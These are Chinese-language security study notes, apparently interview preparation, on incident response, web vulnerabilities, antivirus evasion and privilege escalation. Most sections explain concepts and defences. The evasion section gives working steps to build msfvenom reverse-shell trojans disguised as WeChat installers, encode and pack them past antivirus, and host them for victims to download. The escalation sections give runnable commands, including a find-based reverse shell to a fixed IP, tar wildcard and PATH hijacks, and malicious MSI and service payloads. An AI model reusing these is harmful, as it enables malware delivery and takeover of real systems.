网安事件处理

1.应急响应

1.首先通过分析报警,流量分析,日志来收集所发生事故的信息,判断是什么病毒什么样的事故

2.按优先级别给事故分级

3.然后抑制攻击范围,阻止受害面扩大,封ip、联系厂商能否下线、关系统

4.检查启动项 服务 进程 敏感文件 违规账号 结合everything 看新增加的文件新更改的文件

5.放到设备里扫一下有没有后门 修补漏洞 打补丁 增加安全策略

6.恢复业务系统

7.溯源

8.写报告

加固:安全加固是指采取措施,通过加强系统和应用程序的安全性能,来保护计算机网络、服务器、数据库等环境免受恶意攻击。以下是常见的安全加固内容:

①访问控制:确保只有授权用户可以访问您的系统、应用程序或数据。使用密码策略、访问权限配置、实现双因素认证等技术手段。

②系统更新:及时对操作系统、软件和应用程序进行升级和补丁更新,以修复已知的漏洞和弱点。

③密码管理:实施密码策略,建议用户定期更改密码并设置强密码规则,如长度、复杂度、不重复等。

④安全审计:监控和记录用户活动、网络数据流量和事件日志,以便检测非法行为、入侵尝试和漏洞利用,为后续调查提供依据。

⑤防病毒防恶意软件:安装和更新可靠的防病毒和防恶意软件,以保护系统免受病毒、蠕虫、木马等恶意程序的攻击和感染。

⑥加密通信:加密敏感数据(如信用卡号、密码等)的存储和传输,以保证数据的机密性、完整性和可用性。

⑦网络安全策略:定义和实施网络安全策略,例如强制使用VPN访问公司网络、限制外部访问等。

⑧安全培训:对员工进行网络安全教育和培训,提高他们的安全意识和防范能力。

⑨合规性监督:确保系统和应用程序符合适当的法律要求和行业标准,如PCI DSS、HIPAA、GDPR等。这些安全加固措施是建立一个安全的计算机网络环境所必须的。

病毒攻击:

病毒攻击是指黑客使用病毒程序侵入系统,进行远程控制、破坏等行为。针对病毒攻击的应急响应措施包括:及时更新电脑的防病毒软件,使用杀毒软件对电脑进行全面扫描,隔离感染的文件等。

数据泄露:

数据泄露是指黑客通过攻击获得公司内部敏感信息等行为。针对数据泄露的应急响应措施包括:及时总结泄露事件的详细信息,限制和隔离漏洞的范围,积极采取措施修补和更新系统安全防御机制,同时要及时报告相关部门。

DDoS攻击:

DDoS攻击是指黑客通过向被攻击网站发送大量的请求,导致网络宕机的行为。针对DDoS攻击的应急响应措施包括:对网络进行监视,及时发现DDoS攻击,并采用反向代理和防护设备等技术及时抵挡此类攻击;升级安全服务和增加硬件设备,加强对网络的安全监管。

社交工程攻击:

社交工程攻击是指黑客通过社交网络平台进行的信息获取、欺骗等行为,诱骗用户泄露个人信息或执行恶意程序。针对社交工程攻击的应急响应措施包括:加强对用户的信息加密处理,常尽可能避免在网上公开个人信息,并严密筛选信息的发布来源,及时发现可疑信息进行处理。

Web应用攻击:

Web应用攻击是指通过对网站进行攻击实现对服务器的控制。针对Web应用攻击的应急响应措施包括:加强Web安全防护措施,设计硬件安全、软件安全和操作安全等多重防护机制,及时更新防御软件。

网络钓鱼攻击:

网络钓鱼攻击是指黑客通过伪装成类似信任的网站或电子邮件,欺骗用户泄露个人信息等行为。针对网络钓鱼攻击的应急响应措施包括:提升用户安全意识,避免泄露个人信息,尽可能避免在未知或不信任的网站输入个人信息。

黑客攻击:

黑客攻击指黑客通过远程控制、窃取敏感信息、危害网络安全等手段攻击网络系统。针对黑客攻击的应急响应措施包括:及时发现攻击,并且积极采取措施追查攻击来源,加强对网络系统的安全监管和管理,通过网络安全护卫队对系统进行监控和防御。

挂马攻击:

挂马攻击是指黑客通过向受害者的计算机或网页中注入木马代码,从而窃取用户信息或控制电脑等行为。针对挂马攻击的应急响应措施包括:及时安装最新的杀毒软件,使用系统加固工具,监测并隔绝威胁源。

外部入侵攻击:

外部入侵攻击是指黑客通过网络采取攻击手段,成功突破网络安全系统进入被攻击系统的行为。针对外部入侵攻击的应急响应措施包括:建立完整的安全防护策略,设计防御机制包括安全认证、入侵检测预警、口令难度提升等等。

内部安全威胁:

内部安全威胁是指来自企业内部员工的安全威胁,包括破坏、窃取企业数据、窃取密码、变更系统配置等恶意行为。针对内部安全威胁的应急响应措施包括:实施强有力的网络安全策略,加强安全管理,建立网络访问权限管理体系,及时监测网络流量,及时追查入侵人员。

#

2.溯源

溯源思路:

1.安全设备告警分析;2.流量和日志分析;3.服务器资源异常;4.IP反查;5.网站url;6.恶意样本等

溯源方法:

日志分析:

分析系统、应用程序和网络设备的日志,查找异常活动和迹象,比如非授权访问、存储盗窃、恶意软件下载等。

网络流量分析:

通过监控网络流量,查找异常的通信行为和数据包传送路径来判断攻击来源和目标。比如使用Wireshark等网络抓包工具分析数据包。

磁盘取证分析:

对受攻击的系统进行取证分析,查找磁盘上的恶意程序、日志和其他证据,以找到攻击者的身份和操作方式。

内存取证分析:

对受攻击的系统进行内存取证分析,检查系统内存中的运行程序和恶意代码,以找到一些不能在磁盘上找到的文件和信息。

恶意代码分析:

对发现的恶意程序进行分析,确定攻击模式和攻击者的行为,甚至可以找到攻击者的IP地址、邮箱、域名等信息。

操作系统和应用程序审计:

分析系统和应用程序的配置、文件权限、门户权限等安全设置,以找出漏洞和缺陷,防止攻击者利用这些漏洞渗透到系统内部。

溯源工具

Wireshark:Wireshark是一款网络流量分析工具,可以对网络上的数据包进行详细的分析和捕获。通过分析网络数据包,可查看网络流量情况,排查网络故障,溯源恶意攻击等。

FTK Imager:FTK Imager是一款磁盘取证工具,可以帮助分析人员获取硬盘数据以及还原损坏的分区和数据。

Autopsy Forensic Browser:Autopsy Forensic Browser是一个免费和开源的磁盘取证分析平台,主要用于查找和分析磁盘上的安全问题和警告。

Encase:Encase是一款商用的磁盘取证工具,可以追踪网络犯罪,查找数据泄露和行业间谍活动等。

IDA Pro:IDA Pro是一款反汇编工具,可用于恶意代码的分析、调试、反编译等,支持多种CPU架构和文件格式。

确定被攻击的目标IP地址

在进行溯源前,需要先确定被攻击的目标IP地址。这可以通过审查攻击日志或被攻击主机的网络流量来确定。

使用IDA Pro打开恶意代码

使用IDA Pro打开恶意代码,并分析其中的函数和代码。特别是要关注恶意代码中存在的与网络连接相关的函数和代码。

搜寻网络连接相关的函数和代码

在IDA Pro中,可以使用字符串搜索功能查找与网络连接相关的函数和代码。常见的与网络连接相关的函数和代码包括socket()、connect()、sendto()、recv()等。

分析网络连接函数和代码

分析网络连接相关的函数和代码,了解与攻击有关的详细信息,包括攻击者使用的IP地址、端口号以及所使用的协议等。

溯源攻击者IP

通过分析网络连接代码,可以获取攻击者的IP地址。然后,可以使用常见的溯源工具如Whois和NSLOOKUP等来进一步获取攻击者的详细信息。可以使用Whois工具查找攻击者的IP地址和域名信息,并使用NSLOOKUP工具来查找域名服务器。

Yara:Yara是一种基于规则的分类+分析系统,可用于查找特定的威胁行为和恶意软件样本,加速恶意代码分析过程。

Nessus:Nessus是一款漏洞扫描和漏洞管理工具,可以扫描系统和应用程序的安全问题,包括缓冲区溢出、SQL注入等常见漏洞。

溯源方法通常分为以下几个步骤:

  1. 定位威胁:使用日志、流量和其他数据来源来确定威胁并查找潜在源头。

  2. 收集证据:从目标系统(包括服务器、客户端、存储设备等)中获取证据,包括恶意软件样本、被入侵的系统日志、流量数据等。

  3. 分析恶意代码:对恶意代码进行反汇编、调试、分析,查找恶意代码的运行行为、控制服务器地址等信息,分析恶意代码的目的和策略。

  4. 追踪攻击者来源:使用IP地址、DNS查询等网络信息,查找攻击者身份、位置以及所利用的漏洞和技术。

  5. 报告结果:总结分析结果,生成报告,描述威胁和风险,并建议相应措施。

3.sql注入

sql注入原理

用户的可控的输入嵌入到sql语句中并被服务端执行,导致应用程序的信息泄露以及攻击者写入webshell

绕过方法、修复方式

sql注入分类

http请求头的注入、可显注入、联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入 、宽字节注入、字符型注入、数字型注入、二次注入

报错注入、时间盲注主要用到的函数

报错:updataxml、extractvalue 时间:sleep

sql注入防御?

使用预编译;

黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;

白名单:对用户的输入进行正则表达式匹配限制;

规范编码以及字符集,否者攻击者可以通过编码绕过检查;

参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数

4.CSRF

CSRF原理

CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式。CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

跨站请求伪造 攻击者构造一个恶意网页,当用户访问该网页时,会自动向目标网站发送一个请求,由于用户已经在目标网站上登录,所以该请求会带有用户的身份认证信息,如果目标网站没有进行csrf防护,那么就会执行该请求,从而导致安全问题

CSRF攻击防护

1.只使用JSON API
JavaScript发起AJAX请求是限制跨域的,并不能通过简单的 表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击
2.验证HTTP Referer字段
HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过验证referer,限定地址跳转
3.在请求地址中添加takon验证
黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。在 HTTP 请求中以参数的形式加入一个随机产生的 token。请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求

16.ssrf原理

51.ssrf漏洞,在哪些功能点上 攻击者构造请求,由服务端发起请求的一个安全漏洞。 攻击者通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法,然后服务器以它的身份来访问其他服务器的资源 会出现在文件上传,图片处理,url解析的功能点上 ssrf的协议:http,https,gopher,file,dict

5.反序列化:

讲一讲java反序列化的原理?

Java反序列化漏洞是指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行。

讲一讲shiro反序列化原理?

Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。

讲一讲fastjson反序列化原理?

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

XXE漏洞

XXE漏洞的原理?

XXE漏洞(XML External Entity Injection)是一种攻击方式,攻击者通过在XML文档中注入恶意代码,从而导致服务器端解析XML文档时发生安全漏洞。攻击者可以利用这个漏洞获取服务器上的敏感信息,或者直接对服务器进行攻击。
XXE漏洞的成因一般是由于服务器在解析XML文档时没有对外部实体进行足够的过滤和验证,或者没有对XML解析器进行安全配置。攻击者可以利用这个漏洞通过注入恶意代码来获取服务器上的敏感信息或者对服务器进行攻击。
XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击.

如何构建XXE攻击?

1.直接通过DTD外部实体声明
2.通过DTD文档引入外部DTD文档,再引入外部实体声明        
3.通过DTD外部实体声明引入外部实体声明

XXE漏洞的危害?

任意文件读取
系统命令执行
执行远程代码
DOS拒绝服务攻击
内网端口探测
攻击内网网站
钓鱼

XXE漏洞的防范?

禁用外部实体的引入
比如PHP语言中使用libxml_disable_entity_loader(true);等方式。
过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

6.木马免杀

我常用的工具:工具简介**(CUIRI)**

CUIRI是一款红队专用免杀木马生成器,该工具可以通过红队人员提供的一段 shellcode 快速生成一个绕过所有杀软的可执行木马。

1.基于Syscall进行免杀,且随机混淆,可过几乎所有杀软
2.内置go-strip对Go生成的木马进行编译信息抹除与程序信息混淆
3.工具本体只有1个exe,搭配Go环境即可直接使用

下载二进制文件,并且在系统上安装Go语言环境,然后将shellcode保存到1个txt文件中,即可使用本工具生成免杀马。

Usage of CuiRi.exe:  
        -f string    通过shellcode生成免杀马
        -manual      查看shellcode生成方法

使用方法eg:

首先生成 shellcode,保存为文件msf.txt

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.128 lport=3333 -f c

生成免杀马

.\CuiRi.exe -f .\msf.txt

1、裸奔马

不做任何免杀处理的木马

使用msf的msfvenom生成木马文件,生成一个裸奔马,命名为 weixin.exe

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe

打开apache服务

把生成的weixin.exe文件放在/var/www/html文件夹下

当用户访问该会下载该文件

但是在用户端被AV查杀了;在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试

2、MSF编码

metasploit框架下免杀的方式之一是msf编码器

使用msf编码器对我们制作的木马进行重新编码,生成一个二进制文件,这个文件运行后,msf编码器会将原始程序解码到内存中并执行。

在msf的/data/templates/下有很多metasploit自带的用于捆绑木马的程序模板,选择一个待捆绑程序,但是大部分都采用捆绑木马(也有对裸奔马进行shikata_ga_nai编码饶AV的方法,但是shikata_ga_nai编码技术多态,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时不会,所以结合以上思路,生成一个捆绑木马,并进行shikata_ga_nai编码)

使用msfvenom生成一个Windows环境下的木马,并捆绑到WeChatSetup.exe上生成WeChatSetup1.exe的合成马,同时对木马进行x86/shikata_ga_nai进行多次编码的方式进行免杀处理

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe	

把生成带病毒的软件放到已开启的apache文件下,用户下载后,在msf上创建监听

use exploit/multi/handler
set payload windows/shell/reverse_tcp ///选择payload为Windows/shell/reverse_tcp
show options ///查看一下哪些选项需要配置
set lhost 192.168.111.132 ///设置一下主机地址
set lport 9999 ///设置下主机端口,为木马设定的端口
run

3、UPX加壳

upx打包器有两种功能,一种叫做给程序加壳,一种叫压缩程序在这里使用打包器的目的是改变后门程序的特征码。

压缩的时候:它首先可执行文件中的可执行数据解压出来,然后将解压缩用的代码附加在前面

运行的时候:将原本的可执行数据解压出来,然后再运行解压缩后的数据

简单的命令就是直接upx file,对file文件进行加壳处理,加壳后,因为经过压缩,文件大小会变小

把上面经历过编码后,又加壳的weixin安装包放在apache服务的文件夹下,供目标机器读取下载

在msf上可以创建正常的连接和监听,成功传回

##

#

#

如何查看系统内存shell?

先判断是通过什么方法注入的内存马,可以先查看 web 日志是否有可疑的 web 访问日志,如果是 filter 或者 listener 类型就会有大量 url 请求路径相同参数不同的,或者页面不存在但是返回 200 的,查看是否有类似哥斯拉、冰蝎相同的 url 请求,哥斯拉和冰蝎的内存马注入流量特征与普通 webshell 的流量特征基本吻合

通过查找返回 200 的 url 路径对比 web目录下是否真实存在文件,如不存在大概率为内存马。如在 web 日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的 error.log 日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞。

7.Linux提权(五种方式)

一、内核提权

①常规内核提权

查看linux内核版本   uname -a

使用searchsploit搜索对应exp,并下载c文件进行编译:

searchsploit ubuntu 4.4.0searchsploit -m linux/local/45010.cgcc 45010.c -o 45010 #编译

在meterpreter下将编译好的exp上传到目标tmp目录下,赋予执行权限,可以看到执行后变为root权限:

②脏牛提权

原理:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

使用方法:

uname -a  #查看内核版本cd CVE-2016-5195-master/make   #编译生成可执行文件./dcow -s  #执行exp,成功返回root shell

二、suid提权

原理:

suid可以让文件调用者暂时获得文件拥有者的权限,suid提权的思路让普通用户运行root用户所拥有的suid文件,从而达到提权的目的。
可用于提权的文件列表:NmapVimfindBashMoreLessNanocp
查找suid文件命令:find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

发现find存在suid:

查看suid文件,发现了 /usr/bin/find 

1

使用find执行命令whoami发现是root:

find 1.txt -exec whoami \;

使用find执行反弹shell命令(注意加上-p参数,否则反弹回来的可能是低权限用户shell):

find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \;

返回kali查看弹回root shell:

三、sudo提权

原理:

普通用户一般无法使用root用户命令,使用sudo命令可以让普通用户拥有root权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对sudoer文件进行不合理的配置,使普通用户不需要输入密码就可以使用sudo命令,从而导致权限提升的问题产生。

使用sudo需要输入用户密码,例如查看shadow文件:

管理员为了方便,配置/etc/sudoers文件,在文件中加入:

ubuntu ALL=(ALL:ALL) NOPASSWD:ALL

配置完成后,普通用户使用sudo无需输入密码即可执行root命令

四、环境变量提权

原理:

PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。

步骤:

echo $PATH   #查看环境变量

假设管理员用户在/home/test目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
gcc demo.c -o demo   #编译chomod u+s demo      #赋予suid

执行demo文件即执行cat /etc/shadow命令;

现在有一个攻击者拿到普通用户权限,首先执行如下命令查找具有suid的文件,发现demo:

find / -perm -u=s -type f 2>/dev/null

普通用户执行demo文件:

接下来劫持环境变量进行提权:

cd /tmpecho "/bin/bash" > cat   #创建名为cat的文件,内容为/bin/bashcat catchmod 777 cat            #赋予777权限export PATH=/tmp:$PATH     #将tmp目录添加环境变量echo $PATH
最后执行demo,在执行cat命令时,从环境变量中查找,按查找顺序优先查找/tmp目录,而/tmp目录下的cat内容为/bin/bash,所以执行的命令从cat /etc/shadow就变成了/bin/bash /etc/shadow,从而达到提权的目的。

五、Cronjobs提权

*1. 通配符提权*

查看定时任务,发现一个以root权限执行的任务test2.sh,查看test2.sh,发现任务的工作为每分钟执行将/home/ubuntu下的所有内容打包为backup.tar.gz并放置在/tmp目录下(通配符*代表目录下的所有文件)。

cat /etc/crontab  #查看定时任务

在/home/ubuntu目录下创建三个文件:

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.shecho "" > --checkpoint=1    #文件名为

当定时任务触发后,使用了通配符*对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh时相当于执行如下命令:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而–checkpoint和–checkpoint-action正好时tar的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh为执行test.sh文件,test.sh文件内容为复制bash到tmp目录并赋予suid,即可达到提权的目的;

据说相似的命令还有chown、chmod、rsync等。

*2.文件重写提权*

由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。

普通用户查看定时任务,发现datetest.sh为777权限而且为root用户:

img

img

普通用户可在datetest.sh中写入命令,将bash复制到tmp并赋予suid:

"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh

执行获取root权限:

img

##

8.windows提权

①无引号提权路径

原理:利用服务启动时检索程序,程序末尾有空格且没有引号闭合,会以一定方式检索下面的程序,从而可以利用在检索下面目录中加入恶意程序达到提权目的。——被动等待(反弹shell)

提权步骤:

1、用命令搜索无引号的服务路径:
vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
2、自己分组:whoami /all
3、查看无引号路径权限:icacls 【路径】
4、用工具(msf,cs等等)生成反弹shell程序上传到对应路径下
**注意:如果程序放在此路径下长时间不与SCM(service controller Manager)通信会程序会被终止,所以在拿到权限后应该进行进程迁移
5、进程迁移方法:使用msf;在meterpreter中用ps查看进程号然后migrate PID

防御方法:进入注册表修改窗口。在HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的的服务,修改ImagePath,把路径前后加上引号

②易受到攻击的服务

易受到攻击的服务有两种:一是替换二进制服务文件;二是修改服务属性(用到accesschk.exe工具)

易受到攻击的服务有两种:一是替换二进制服务文件;二是修改服务属性(需要用到accesschk.exe工具)

替换二进制文件原理:

对存放服务二进制文件的目录有修改权,将恶意的二进制程序替换原有的二进制文件。

替换二进制文件方法:

和Trusted Service Paths差不多

修改服务属性原理:

修改BINARY_PATH_NAME属性,通过设置它的值为系统命令,重启服务时系统命令会被执行

修改服务属性条件:

需要以下一种权限才能修改:

SERVICE_ALL_ACCESS
SERVICE_CHANGE_CONFIG
WRITE_DAC
WRITE_OWNER
GENERIC_WRITE
GENERIC_ALL

工具accesschk.exe:

利用:对Spooler服务有service_all_access权限,我们就可以这样做。通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

输入命令:

sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令
net user #查看用户

③AlwaysInstallElevated

如果Windows启用注册表项:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即达到提权目的。 通过reg query来验证这两条注册表项的情况:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

均为1,我们就可以通过msfvenom生成恶意msi来提权,执行获得一个管理员账户

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

④信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露

文件存放路径
- C:\Windows\Panther\
- C:\Windows\Panther\Unattend\
- C:\Windows\System32\
- C:\Windows\System32\sysprep\

找到 Unattend.xml 文件中的标签,去查询一些特殊标签,就有可能找到用户的加密后的密码

<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
<PlainText>false</PlainText>
</Password>

一些查询敏感文件的命令:

C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

⑤基于资源的域约束性委派利用

原理

1.S4U2SELF协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。

2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。

3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻击流程

假设开启基于资源的约束性委派机器为A

1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。

2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派

3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。

4.用ST2访问A的CIFS服务,权限获得。

⑥POTATO家族

热土豆提权(hot potato)

提权步骤流程:
- 1、本地NBNS服务欺骗
- 2、WPAD劫持
- 3、HTTP->SMB 的 NTLM relay

本地NBNS服务欺骗

Windows域名解析:本地host文件->dns查询->NBNS或者LLMNR查询;在不是管理员的情况下,我们能事先知道被欺骗主机需要的访问的主机IP,就可以伪造一个NBNS查询服务,让靶机访问,这样就能获取到信息就能达到目地,同时NBNS服务有个特征码,请求包和回应包的内容一致,可以根据发送65535个包进行爆破

WPAD劫持

当NBNS欺骗后就能可以劫持到域名,把自己伪造称WPAD并返回自动义的PAC文件。

RELAY

现在SMB->SMB的relay很少用到,微软禁用同协议的NTLM认证 ,成功率很低。但HTTP->SMB的relay还有。HOT POTATO就是利用它。

我们可以把主机发出的HTTP请求重定向到我们自定义的网页Web_A,而网页Web_A需要NTLM认证,可以进行HTTP->SMB的relay。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。

⑦MySQL下的提权技术

MOF提权

原理:

利用nullevt.mof文件都会在一个特定时间间隔内执行一次,向此文件中添加cmd命令自动执行。

条件:

能够进入数据库进行操作,且MySQL数据库的权限要尽可能的高才有更有利。同时secure-file-priv要为空(MySQL5.6.34以后的版本都为空)。

方法:

伪造的MOF文件:

UDF提权

原理:

UDF (user defined function),即用户自定义函数。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux是以os形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的函数。然后交给mysql以数据库权限执行。

条件:

能操作数据库,且数据库权限必须很高(用这个方法得到的权限就是数据库的权限)
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录(lib\plugin目录默认不存在,需自行创建)。

提权步骤:

1.获取dll文件:sqlmap和msf都有。sqlmap下sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。

2.python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ #获得dll文件

3.把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令:show variables like "%plugin%"; (/lib/plugin文件夹需要自己创建)

4.把dll放入插件文件夹中:select load_file(‘udf.dll’) into dumpfile “plugin的路径”;

5.提权:create funtion sys_eval returns string soname "udf.dll"; select sys_eval('cmd');

启动项提权

原理:通过MySQL的高权限,在windows开机启动项的文件夹下放入恶意的vbs或者bat脚本,等待计算机重启,可以使用一些exp让计算机蓝屏。

启动项的常见路径:

C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动

⑧命令管道提权

条件:

  • Administrator用户才那个提权(提权到system权限),一般用户不能提权到admin用户,因为一般用户没有命令管道 SeImpersonatePrivilege,复制令牌时候会出席那错误;

提权方式:

  • 令牌模仿(token impoersonation)

提权过程:

该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。

首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接

生成好后,是Service.exe

⑨令牌窃取

system->本机上其他用户(包括域用户)(只要本机有system权限,域管在本机上创建进程就直接能拿到域管权限)或者admin获取debug权限后去获取system权限(注意:只有owner为administrator的system进程才能被利用,比如lsass,dllhost) 技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的

⑩常见Windows的提权CVE

https://github.com/SecWiki/windows-kernel-exploits

eg:

*CVE-2016-3225(MS16-075)*提权
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
CVE-2014-4113 (MS14-058)提权
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。
如果Windows内核模式驱动程序不正确地处 理内存中的对象,则存在一个特权提升漏洞。
成功利用此漏洞的攻击者可以运行内核模式中的任意代码。
攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

9.电脑中了CS怎么应急?

如果您的计算机感染了CS(Crysis)勒索软件,请立即采取以下应急处理步骤:

  1. 立即断开受感染的计算机与网络的连接,以避免数据进一步被加密或盗取。

  2. 找到感染的文件并将其隔离备份。这有助于将来破解密码并恢复数据。

  3. 确认计算机上是否有抗病毒软件,并确保其更新到最新版。扫描整个计算机以查找恶意文件,并将其清除。

  4. 扫描并备份已加密的文件以备份恢复使用。

  5. 确认是否有最新的系统补丁或安全更新发布,如果有,请及时安装。

  6. 鉴别所有已知的攻击途径,如悬挂的邮件、点击的URL、下载的文件、VNC、远程登录等,并关闭此类攻击途径。

  7. 与恶意软件相关联的所有账户密码都应该被更改,以防止进一步的攻击。

